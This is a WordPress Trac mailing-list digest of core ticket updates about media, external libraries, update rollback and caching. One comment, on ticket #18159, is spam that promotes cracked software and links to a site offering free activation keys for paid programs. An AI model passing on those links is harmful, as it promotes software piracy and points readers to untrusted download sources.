<051.c820b018dadf1a41d3bccedf28725bf1@wordpress.org> Message-ID: <066.b04019b01d64208866fe4e1b07416bbf@wordpress.org> #53232: Add async decoding attribute as default to the HTML image tags generated by WordPress -------------------------------------------------+------------------------- Reporter: isaumya | Owner: | adamsilverstein Type: feature request | Status: assigned Priority: normal | Milestone: 6.0 Component: Media | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests needs- | Focuses: refresh | performance -------------------------------------------------+------------------------- Changes (by adamsilverstein): * Attachment "53232.7.diff" added. -- Ticket URL: <https://core.trac.wordpress.org/ticket/53232> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 16:53:23 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 16:53:23 -0000 Subject: [wp-trac] [WordPress Trac] #53232: Add async decoding attribute as default to the HTML image tags generated by WordPress In-Reply-To: <051.c820b018dadf1a41d3bccedf28725bf1@wordpress.org> References: <051.c820b018dadf1a41d3bccedf28725bf1@wordpress.org> Message-ID: <066.089948df1ff2c872e6d86874df702225@wordpress.org> #53232: Add async decoding attribute as default to the HTML image tags generated by WordPress -------------------------------------------------+------------------------- Reporter: isaumya | Owner: | adamsilverstein Type: feature request | Status: assigned Priority: normal | Milestone: 6.0 Component: Media | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests needs- | Focuses: refresh | performance -------------------------------------------------+------------------------- Comment (by adamsilverstein): [attachment:"53232.7.diff"] is a refresh of [attachment:"53232.5.diff"] against trunk -- Ticket URL: <https://core.trac.wordpress.org/ticket/53232#comment:58> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 16:55:20 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 16:55:20 -0000 Subject: [wp-trac] [WordPress Trac] #49178: Upload image issue after deleting image from edit image page In-Reply-To: <051.761d227054cbef9089f27551b4d7487c@wordpress.org> References: <051.761d227054cbef9089f27551b4d7487c@wordpress.org> Message-ID: <066.031beee50a409b07d3b4043c91ce5882@wordpress.org> #49178: Upload image issue after deleting image from edit image page -------------------------------------+------------------------ Reporter: rnitinb | Owner: joedolson Type: defect (bug) | Status: accepted Priority: normal | Milestone: 6.0 Component: Media | Version: 5.3.2 Severity: normal | Resolution: Keywords: has-patch needs-refresh | Focuses: -------------------------------------+------------------------ Changes (by joedolson): * keywords: has-patch => has-patch needs-refresh -- Ticket URL: <https://core.trac.wordpress.org/ticket/49178#comment:22> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 16:59:09 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 16:59:09 -0000 Subject: [wp-trac] [WordPress Trac] #54874: [New User Notification] Allow conditional mail supression In-Reply-To: <052.e0be7ba4869bf898a8feced6a81fbc73@wordpress.org> References: <052.e0be7ba4869bf898a8feced6a81fbc73@wordpress.org> Message-ID: <067.94fe8e98f8f521dfec4034adc26303db@wordpress.org> #54874: [New User Notification] Allow conditional mail supression -------------------------------------------------+------------------------- Reporter: janthiel | Owner: (none) Type: feature request | Status: new Priority: normal | Milestone: 6.0 Component: Users | Version: Severity: normal | Resolution: Keywords: has-patch needs-unit-tests needs- | Focuses: dev-note 2nd-opinion | -------------------------------------------------+------------------------- Comment (by costdev): @audrasjb, do you think we can go ahead and `commit` this, then reopen it to add unit tests during Beta 1? -- Ticket URL: <https://core.trac.wordpress.org/ticket/54874#comment:8> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 17:11:23 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 17:11:23 -0000 Subject: [wp-trac] [WordPress Trac] #55565: clipboard script does not register with a version Message-ID: <051.2ff039f1dd221746c4fcf328dc369e0c@wordpress.org> #55565: clipboard script does not register with a version --------------------------------+---------------------------------------- Reporter: desrosj | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: External Libraries | Version: Severity: normal | Keywords: needs-patch good-first-bug Focuses: | --------------------------------+---------------------------------------- Introduced in [45044]. Currently, the `clipboard` script handle that loads ClipboardJS does [https://core.trac.wordpress.org/browser/trunk/src/wp-includes/script- loader.php#L735 not specify a version when being added]. It seems that this is unintentional, and specifying the current version is preferred. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55565> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 17:14:54 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 17:14:54 -0000 Subject: [wp-trac] [WordPress Trac] #48116: Proposal: Tracking PHP Extension Usage In-Reply-To: <048.0c9bc69fdc01bc4193fe8197408e65e2@wordpress.org> References: <048.0c9bc69fdc01bc4193fe8197408e65e2@wordpress.org> Message-ID: <063.2658becef384633120f18a362b57361d@wordpress.org> #48116: Proposal: Tracking PHP Extension Usage ------------------------------------+------------------------------ Reporter: dd32 | Owner: adamsilverstein Type: enhancement | Status: assigned Priority: normal | Milestone: 6.1 Component: Upgrade/Install | Version: Severity: normal | Resolution: Keywords: dev-feedback has-patch | Focuses: ------------------------------------+------------------------------ Changes (by pbiron): * milestone: 6.0 => 6.1 Comment: As 5.0 Beta will be released within the hour, moving this to 6.1. -- Ticket URL: <https://core.trac.wordpress.org/ticket/48116#comment:28> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 17:15:30 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 17:15:30 -0000 Subject: [wp-trac] [WordPress Trac] #55547: Minor external library updates for 6.0 In-Reply-To: <051.0cb3fb214061706c84823c91e7cb223b@wordpress.org> References: <051.0cb3fb214061706c84823c91e7cb223b@wordpress.org> Message-ID: <066.a279b7a616b5d837775fddb3424e082d@wordpress.org> #55547: Minor external library updates for 6.0 --------------------------------+----------------------- Reporter: desrosj | Owner: desrosj Type: defect (bug) | Status: assigned Priority: normal | Milestone: 6.0 Component: External Libraries | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: --------------------------------+----------------------- Comment (by desrosj): In [changeset:"53164" 53164]: {{{ #!CommitTicketReference repository="" revision="53164" External Libraries: Update some external libraries. This updates three external libraries to their latest versions: - `backbone` from `1.4.0` to `1.4.1`. - `underscore` from `1.13.1` to `1.13.2`. - `clipboard` from `2.0.8` to `2.0.10`. These are all minor updates containing bug fixes and documentation improvements. See #55547. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55547#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 17:28:15 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 17:28:15 -0000 Subject: [wp-trac] [WordPress Trac] #53049: Add changelog release notes to auto update email notifications In-Reply-To: <054.54e586b1c57b3b98b2fa99a91f05e647@wordpress.org> References: <054.54e586b1c57b3b98b2fa99a91f05e647@wordpress.org> Message-ID: <069.639e5e75a9b64a8bec6bd612c7ca440c@wordpress.org> #53049: Add changelog release notes to auto update email notifications -----------------------------+----------------------------- Reporter: JosVelasco | Owner: josvelasco Type: enhancement | Status: assigned Priority: normal | Milestone: 6.1 Component: Upgrade/Install | Version: Severity: minor | Resolution: Keywords: needs-patch | Focuses: administration -----------------------------+----------------------------- Changes (by afragen): * milestone: 6.0 => 6.1 Comment: This one seems very close but since 6.0 beta1 is today, let's see if we can get done for 6.1. -- Ticket URL: <https://core.trac.wordpress.org/ticket/53049#comment:49> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 17:35:08 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 17:35:08 -0000 Subject: [wp-trac] [WordPress Trac] #55547: Minor external library updates for 6.0 In-Reply-To: <051.0cb3fb214061706c84823c91e7cb223b@wordpress.org> References: <051.0cb3fb214061706c84823c91e7cb223b@wordpress.org> Message-ID: <066.2853ca4a281bdc85bb50d44fa52ca6b4@wordpress.org> #55547: Minor external library updates for 6.0 --------------------------------+---------------------- Reporter: desrosj | Owner: desrosj Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: External Libraries | Version: Severity: normal | Resolution: fixed Keywords: has-patch | Focuses: --------------------------------+---------------------- Changes (by desrosj): * status: assigned => closed * resolution: => fixed Comment: [53165] did not make its way over here, but fixes the remaining items. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55547#comment:5> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 17:37:07 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 17:37:07 -0000 Subject: [wp-trac] [WordPress Trac] #54915: Username, email and password fields must be ltr in rtl locale In-Reply-To: <053.4f38abea21a29f9eb209358027b8e501@wordpress.org> References: <053.4f38abea21a29f9eb209358027b8e501@wordpress.org> Message-ID: <068.d731d9004d1674f0cb3d70db24070800@wordpress.org> #54915: Username, email and password fields must be ltr in rtl locale -------------------------------------+------------------------------------- Reporter: man4toman | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.1 Component: Users | Version: Severity: normal | Resolution: Keywords: has-screenshots has- | Focuses: ui, css, rtl, testing-info has-patch | administration -------------------------------------+------------------------------------- Changes (by sabernhardt): * milestone: 6.0 => 6.1 -- Ticket URL: <https://core.trac.wordpress.org/ticket/54915#comment:11> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 17:49:28 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 17:49:28 -0000 Subject: [wp-trac] [WordPress Trac] #53174: notice in link-popup of WYSIWYG overlapping search field In-Reply-To: <051.2b5ad60ad9da99b94b1e29a41f0a6239@wordpress.org> References: <051.2b5ad60ad9da99b94b1e29a41f0a6239@wordpress.org> Message-ID: <066.8525c81da9a913fc255a98a3483bed28@wordpress.org> #53174: notice in link-popup of WYSIWYG overlapping search field -------------------------------------+------------------------------------- Reporter: jonny-s | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.1 Component: Editor | Version: 5.7.1 Severity: minor | Resolution: Keywords: has-patch needs- | Focuses: ui, accessibility, screenshots needs-testing | css, administration -------------------------------------+------------------------------------- Changes (by sabernhardt): * milestone: 6.0 => 6.1 -- Ticket URL: <https://core.trac.wordpress.org/ticket/53174#comment:13> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 17:56:36 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 17:56:36 -0000 Subject: [wp-trac] [WordPress Trac] #53232: Add async decoding attribute as default to the HTML image tags generated by WordPress In-Reply-To: <051.c820b018dadf1a41d3bccedf28725bf1@wordpress.org> References: <051.c820b018dadf1a41d3bccedf28725bf1@wordpress.org> Message-ID: <066.2241153a80e5dbb583b63bfdf7681ddc@wordpress.org> #53232: Add async decoding attribute as default to the HTML image tags generated by WordPress -------------------------------------------------+------------------------- Reporter: isaumya | Owner: | adamsilverstein Type: feature request | Status: assigned Priority: normal | Milestone: 6.0 Component: Media | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests needs- | Focuses: refresh | performance -------------------------------------------------+------------------------- Changes (by adamsilverstein): * Attachment "53232.8.diff" added. -- Ticket URL: <https://core.trac.wordpress.org/ticket/53232> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 17:58:19 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 17:58:19 -0000 Subject: [wp-trac] [WordPress Trac] #53232: Add async decoding attribute as default to the HTML image tags generated by WordPress In-Reply-To: <051.c820b018dadf1a41d3bccedf28725bf1@wordpress.org> References: <051.c820b018dadf1a41d3bccedf28725bf1@wordpress.org> Message-ID: <066.727ef1361a4b523fdf8a791926795ebb@wordpress.org> #53232: Add async decoding attribute as default to the HTML image tags generated by WordPress -------------------------------------------------+------------------------- Reporter: isaumya | Owner: | adamsilverstein Type: feature request | Status: assigned Priority: normal | Milestone: 6.0 Component: Media | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests needs- | Focuses: refresh | performance -------------------------------------------------+------------------------- Comment (by adamsilverstein): [attachment:"53232.8.diff"] adds the decoding attribute to the new `test_wp_filter_content_tags_filter_with_identical_image_tags_custom_attributes` test @peterwilsoncc this should be good to go now, can I go ahead and commit once tests pass? -- Ticket URL: <https://core.trac.wordpress.org/ticket/53232#comment:59> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 18:16:31 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 18:16:31 -0000 Subject: [wp-trac] [WordPress Trac] #51857: Add rollback for failed plugin/theme updates In-Reply-To: <050.28fc9181b285acd253041ad0e732946d@wordpress.org> References: <050.28fc9181b285acd253041ad0e732946d@wordpress.org> Message-ID: <065.e11b1003177150463ad3a0ed64dae114@wordpress.org> #51857: Add rollback for failed plugin/theme updates -------------------------------------------------+------------------------- Reporter: pbiron | Owner: pbiron Type: enhancement | Status: reopened Priority: normal | Milestone: 6.1 Component: Upgrade/Install | Version: Severity: normal | Resolution: Keywords: early has-testing-info needs-unit- | Focuses: tests needs-testing has-patch dev-feedback | needs-dev-note | -------------------------------------------------+------------------------- Changes (by afragen): * milestone: Future Release => 6.1 -- Ticket URL: <https://core.trac.wordpress.org/ticket/51857#comment:217> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 18:25:41 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 18:25:41 -0000 Subject: [wp-trac] [WordPress Trac] #55530: Category archive links include description in a title attribute by default In-Reply-To: <059.6acff70e0a9b08abe702c78b0bba3416@wordpress.org> References: <059.6acff70e0a9b08abe702c78b0bba3416@wordpress.org> Message-ID: <074.2480f9083d2b07f31fd1865b55adc807@wordpress.org> #55530: Category archive links include description in a title attribute by default -------------------------------------------------+------------------------- Reporter: just0nequestion | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: 6.0 Component: Taxonomy | Version: Severity: normal | Resolution: Keywords: title-attribute good-first-bug has- | Focuses: patch needs-refresh | accessibility -------------------------------------------------+------------------------- Changes (by andrija): * Attachment "55530.4.diff" added. Default use_desc_for_title set to false (0) -- Ticket URL: <https://core.trac.wordpress.org/ticket/55530> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 18:36:25 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 18:36:25 -0000 Subject: [wp-trac] [WordPress Trac] #55563: The function get_allowed_mime_types should check wp_get_current_user In-Reply-To: <049.ef77ab37b6df3e3dcc41a51596801c65@wordpress.org> References: <049.ef77ab37b6df3e3dcc41a51596801c65@wordpress.org> Message-ID: <064.b4dad903f7fd963e51aaaac8dc73152f@wordpress.org> #55563: The function get_allowed_mime_types should check wp_get_current_user --------------------------+------------------------------ Reporter: giuse | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Formatting | Version: 5.9.3 Severity: normal | Resolution: Keywords: dev-feedback | Focuses: --------------------------+------------------------------ Comment (by elifvish): The proposed solution looks good to me. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55563#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 18:52:58 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 18:52:58 -0000 Subject: [wp-trac] [WordPress Trac] #55563: The function get_allowed_mime_types should check wp_get_current_user In-Reply-To: <049.ef77ab37b6df3e3dcc41a51596801c65@wordpress.org> References: <049.ef77ab37b6df3e3dcc41a51596801c65@wordpress.org> Message-ID: <064.88d5e7f50a52660d34b02b9cf01e8fb8@wordpress.org> #55563: The function get_allowed_mime_types should check wp_get_current_user --------------------------+------------------------------ Reporter: giuse | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Formatting | Version: 5.9.3 Severity: normal | Resolution: Keywords: dev-feedback | Focuses: --------------------------+------------------------------ Changes (by elifvish): * Attachment "55563.diff" added. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55563> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 18:53:52 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 18:53:52 -0000 Subject: [wp-trac] [WordPress Trac] #55563: The function get_allowed_mime_types should check wp_get_current_user In-Reply-To: <049.ef77ab37b6df3e3dcc41a51596801c65@wordpress.org> References: <049.ef77ab37b6df3e3dcc41a51596801c65@wordpress.org> Message-ID: <064.1c536bc854bc4b45e863707d4658aa3d@wordpress.org> #55563: The function get_allowed_mime_types should check wp_get_current_user ------------------------------------+------------------------------ Reporter: giuse | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Formatting | Version: 5.9.3 Severity: normal | Resolution: Keywords: dev-feedback has-patch | Focuses: ------------------------------------+------------------------------ Changes (by elifvish): * keywords: dev-feedback => dev-feedback has-patch -- Ticket URL: <https://core.trac.wordpress.org/ticket/55563#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 19:00:31 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 19:00:31 -0000 Subject: [wp-trac] [WordPress Trac] #55565: clipboard script does not register with a version In-Reply-To: <051.2ff039f1dd221746c4fcf328dc369e0c@wordpress.org> References: <051.2ff039f1dd221746c4fcf328dc369e0c@wordpress.org> Message-ID: <066.e82003fced716e1f441766e09842889e@wordpress.org> #55565: clipboard script does not register with a version ----------------------------------------+------------------------------ Reporter: desrosj | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: External Libraries | Version: Severity: normal | Resolution: Keywords: needs-patch good-first-bug | Focuses: ----------------------------------------+------------------------------ Comment (by elifvish): Version of external libraries keeps changing defining it will not be suitable as every time a new version comes we have to change the version. Unless you have any solution for getting versions dynamically. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55565#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 19:11:59 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 19:11:59 -0000 Subject: [wp-trac] [WordPress Trac] #55565: clipboard script does not register with a version In-Reply-To: <051.2ff039f1dd221746c4fcf328dc369e0c@wordpress.org> References: <051.2ff039f1dd221746c4fcf328dc369e0c@wordpress.org> Message-ID: <066.a7f5c90e78c8dea279a40a3d64441d49@wordpress.org> #55565: clipboard script does not register with a version ----------------------------------------+------------------------------ Reporter: desrosj | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: External Libraries | Version: Severity: normal | Resolution: Keywords: needs-patch good-first-bug | Focuses: ----------------------------------------+------------------------------ Changes (by elifvish): * Attachment "55565.diff" added. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55565> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 19:12:19 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 19:12:19 -0000 Subject: [wp-trac] [WordPress Trac] #55565: clipboard script does not register with a version In-Reply-To: <051.2ff039f1dd221746c4fcf328dc369e0c@wordpress.org> References: <051.2ff039f1dd221746c4fcf328dc369e0c@wordpress.org> Message-ID: <066.9042f657d342f16203488077915ec589@wordpress.org> #55565: clipboard script does not register with a version --------------------------------------+------------------------------ Reporter: desrosj | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: External Libraries | Version: Severity: normal | Resolution: Keywords: good-first-bug has-patch | Focuses: --------------------------------------+------------------------------ Changes (by elifvish): * keywords: needs-patch good-first-bug => good-first-bug has-patch -- Ticket URL: <https://core.trac.wordpress.org/ticket/55565#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 19:35:44 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 19:35:44 -0000 Subject: [wp-trac] [WordPress Trac] #48030: HTML5 input types are not being reset when submitting the addtag form In-Reply-To: <057.11661e12a7358cff0bac7319663003fd@wordpress.org> References: <057.11661e12a7358cff0bac7319663003fd@wordpress.org> Message-ID: <072.417cdc9c237f2001dd9850f95674c4c3@wordpress.org> #48030: HTML5 input types are not being reset when submitting the addtag form -----------------------------+--------------------------------------------- Reporter: stevegrunwell | Owner: davidbaumwald Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Taxonomy | Version: Severity: minor | Resolution: fixed Keywords: needs-testing | Focuses: ui, javascript, administration has-patch | -----------------------------+--------------------------------------------- Changes (by davidbaumwald): * status: reopened => closed * resolution: => fixed Comment: In [changeset:"53168" 53168]: {{{ #!CommitTicketReference repository="" revision="53168" Taxonomy: Only reset non-button form field values after adding a tag. [52953] added HTML5 input types to the form reset after a tag is created. The selector was a bit too greedy, causing `button` types to have their values reset also. This change updates the jQuery selector to exclude `button`, `submit`, and `reset` input types from the form reset. Follow-up to [52953]. Props peterwilsoncc. Fixes #48030. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/48030#comment:10> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 20:27:36 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 20:27:36 -0000 Subject: [wp-trac] [WordPress Trac] #55566: Start value in List block doesn't work Message-ID: <054.bd446df2c9b02b6a8bd2811e28dfb3e6@wordpress.org> #55566: Start value in List block doesn't work --------------------------+----------------------------- Reporter: kacper3355 | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Editor | Version: 5.9.3 Severity: normal | Keywords: Focuses: | --------------------------+----------------------------- Hi. I just noticed that "Start value" option in List block doesn't work - no matter what start value you type, it always starts from 1. The start value changes in Gutenberg editor, but is not visible in front end, not even in post preview. To reproduce this issue just add a List block in Gutenberg editor and try to change "Start value" from 1 to any other number. Then preview or publish the post and you'll see that it doesn't work and "1" always shows up. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55566> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 21:10:07 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 21:10:07 -0000 Subject: [wp-trac] [WordPress Trac] #18159: Automatic Plugin and Theme Upgrade Fails In-Reply-To: <052.6e87d458903a37bed6894d2326e773dd@wordpress.org> References: <052.6e87d458903a37bed6894d2326e773dd@wordpress.org> Message-ID: <067.b3e41e9f40276904d8790bdc3d17abca@wordpress.org> #18159: Automatic Plugin and Theme Upgrade Fails --------------------------+------------------------- Reporter: Adeptris | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: Component: General | Version: 3.2 Severity: normal | Resolution: worksforme Keywords: | Focuses: --------------------------+------------------------- Comment (by holly44): Replying to [comment:14 Adeptris]: > AOMEI Partition Assistant Crack is a powerful and professional disk partition management software. It gives users easy-to-use and straightforward partition management features. Partition Assistant is compatible with all existing Windows operating systems, including Windows XP/2000 / 2003/WinPE, Windows 7/Vista, Windows 2008/2011/2012, and the latest Windows 8/10. > > > https://freeactivationkeys.org/aomei-partition-assistant-crack/ > https://freeactivationkeys.org/pdf-xchange-editor-crack/ > > > There are a lot of software that we have to buy but we want us to get that software for free. Now you don't have to go to any website and buy a software.Visit our website activation keys now and download Paid software for free.Our website provides you with free software activation keys. You can download paid software for free and also can enjoy the software's premium features. > David -- Ticket URL: <https://core.trac.wordpress.org/ticket/18159#comment:17> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 22:41:01 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 22:41:01 -0000 Subject: [wp-trac] [WordPress Trac] #53049: Add changelog release notes to auto update email notifications In-Reply-To: <054.54e586b1c57b3b98b2fa99a91f05e647@wordpress.org> References: <054.54e586b1c57b3b98b2fa99a91f05e647@wordpress.org> Message-ID: <069.b6f1899118f66fa33ac9f9931bf5700b@wordpress.org> #53049: Add changelog release notes to auto update email notifications -----------------------------+----------------------------- Reporter: JosVelasco | Owner: josvelasco Type: enhancement | Status: assigned Priority: normal | Milestone: 6.1 Component: Upgrade/Install | Version: Severity: minor | Resolution: Keywords: needs-patch | Focuses: administration -----------------------------+----------------------------- Comment (by pbiron): Replying to [comment:41 oliverstapelfeldt]: > What's the best way to trigger an update failure? Sorry for not seeing your question earlier. The way I generally do it is create a simple plugin that does something like: {{{#!php add_filter( 'upgrader_pre_install', function() { return new WP_Error( 'fake_update_error', 'upgrader_pre_install' ); } }}} Depending on what you're specifically trying to test with a failure, you can also hook into `upgrader_post_install` or `upgrader_clear_destination` (and there a few other hooks as well). -- Ticket URL: <https://core.trac.wordpress.org/ticket/53049#comment:50> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 13 00:38:20 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 13 Apr 2022 00:38:20 -0000 Subject: [wp-trac] [WordPress Trac] #29697: Weird ... After Title in Plugin Viewer In-Reply-To: <053.22c11184e24fd6d2b3adf2a932238d93@wordpress.org> References: <053.22c11184e24fd6d2b3adf2a932238d93@wordpress.org> Message-ID: <068.fdd4441325e4544b172d38ce1757aabe@wordpress.org> #29697: Weird ... After Title in Plugin Viewer --------------------------+----------------------------- Reporter: kidsguide | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Component: Plugins | Version: 4.0 Severity: minor | Resolution: Keywords: close | Focuses: administration --------------------------+----------------------------- Changes (by sabernhardt): * keywords: needs-patch => close Comment: I do not see the ellipsis, even with IE 11/Windows 10 (which is no longer supported in the admin). This might have been fixed in WordPress 4.8 by r40672. -- Ticket URL: <https://core.trac.wordpress.org/ticket/29697#comment:21> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 13 00:45:57 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 13 Apr 2022 00:45:57 -0000 Subject: [wp-trac] [WordPress Trac] #54394: Add functions for required fields indicator and message In-Reply-To: <055.db872f6d46f166aaf8d20764042051b1@wordpress.org> References: <055.db872f6d46f166aaf8d20764042051b1@wordpress.org> Message-ID: <070.2bca09ab196944a84e050807b19c9b8d@wordpress.org> #54394: Add functions for required fields indicator and message -------------------------------------------------+------------------------- Reporter: sabernhardt | Owner: (none) Type: feature request | Status: new Priority: normal | Milestone: 6.1 Component: General | Version: Severity: normal | Resolution: Keywords: has-patch required-fields dev- | Focuses: feedback needs-testing | accessibility -------------------------------------------------+------------------------- Changes (by sabernhardt): * milestone: 6.0 => 6.1 -- Ticket URL: <https://core.trac.wordpress.org/ticket/54394#comment:18> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 13 00:49:23 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 13 Apr 2022 00:49:23 -0000 Subject: [wp-trac] [WordPress Trac] #54302: Add labels to read-only form fields In-Reply-To: <055.89c1804805fa757f91a310325fabb4e1@wordpress.org> References: <055.89c1804805fa757f91a310325fabb4e1@wordpress.org> Message-ID: <070.ffa6958b929b3920ae9ea6d12531f2b8@wordpress.org> #54302: Add labels to read-only form fields -------------------------------------+------------------------------------- Reporter: sabernhardt | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.1 Component: General | Version: Severity: normal | Resolution: Keywords: has-patch needs-copy- | Focuses: accessibility, review | administration, coding-standards -------------------------------------+------------------------------------- Changes (by sabernhardt): * milestone: 6.0 => 6.1 -- Ticket URL: <https://core.trac.wordpress.org/ticket/54302#comment:11> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 13 01:27:16 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 13 Apr 2022 01:27:16 -0000 Subject: [wp-trac] [WordPress Trac] #55463: Add a limit to _prime_*_cache functions In-Reply-To: <056.1f9f83d71c348d6b749c027aaa736ece@wordpress.org> References: <056.1f9f83d71c348d6b749c027aaa736ece@wordpress.org> Message-ID: <071.0fb855810747df9fe4c6112bef2ca710@wordpress.org> #55463: Add a limit to _prime_*_cache functions ---------------------------------------------+--------------------------- Reporter: spacedmonkey | Owner: spacedmonkey Type: enhancement | Status: assigned Priority: normal | Milestone: 6.0 Component: Cache API | Version: Severity: normal | Resolution: Keywords: good-first-bug has-patch commit | Focuses: performance ---------------------------------------------+--------------------------- Comment (by peterwilsoncc): I'm not seeing any benefit here. (Sorry, I couldn't quite read the images you shared.) Running 10,000 queries of the new query vs the old query isn't showing any difference to the second or third decimal place. ||= Patched =||= Unpatched =|| || 2.602267742157 || 2.5758287906647 || || 2.6104681491852 || 2.6174831390381 || || 3.0410692691803 || 3.05641913414 || || 2.5572915077209 || 2.5297293663025 || || 2.6810057163239 || 2.6585900783539 || || 2.4571781158447 || 2.4542315006256 || This is just using the changed `$wpdb->get_results()` call with the relative queries. The [https://gist.github.com/peterwilsoncc/df70e801e0ec2c8997607c0afd13b5cf test code I was using is available as a gist], ignore the reference to caching -- obviously this isn't an issue with direct database queries -- it was in there for testing an earlier 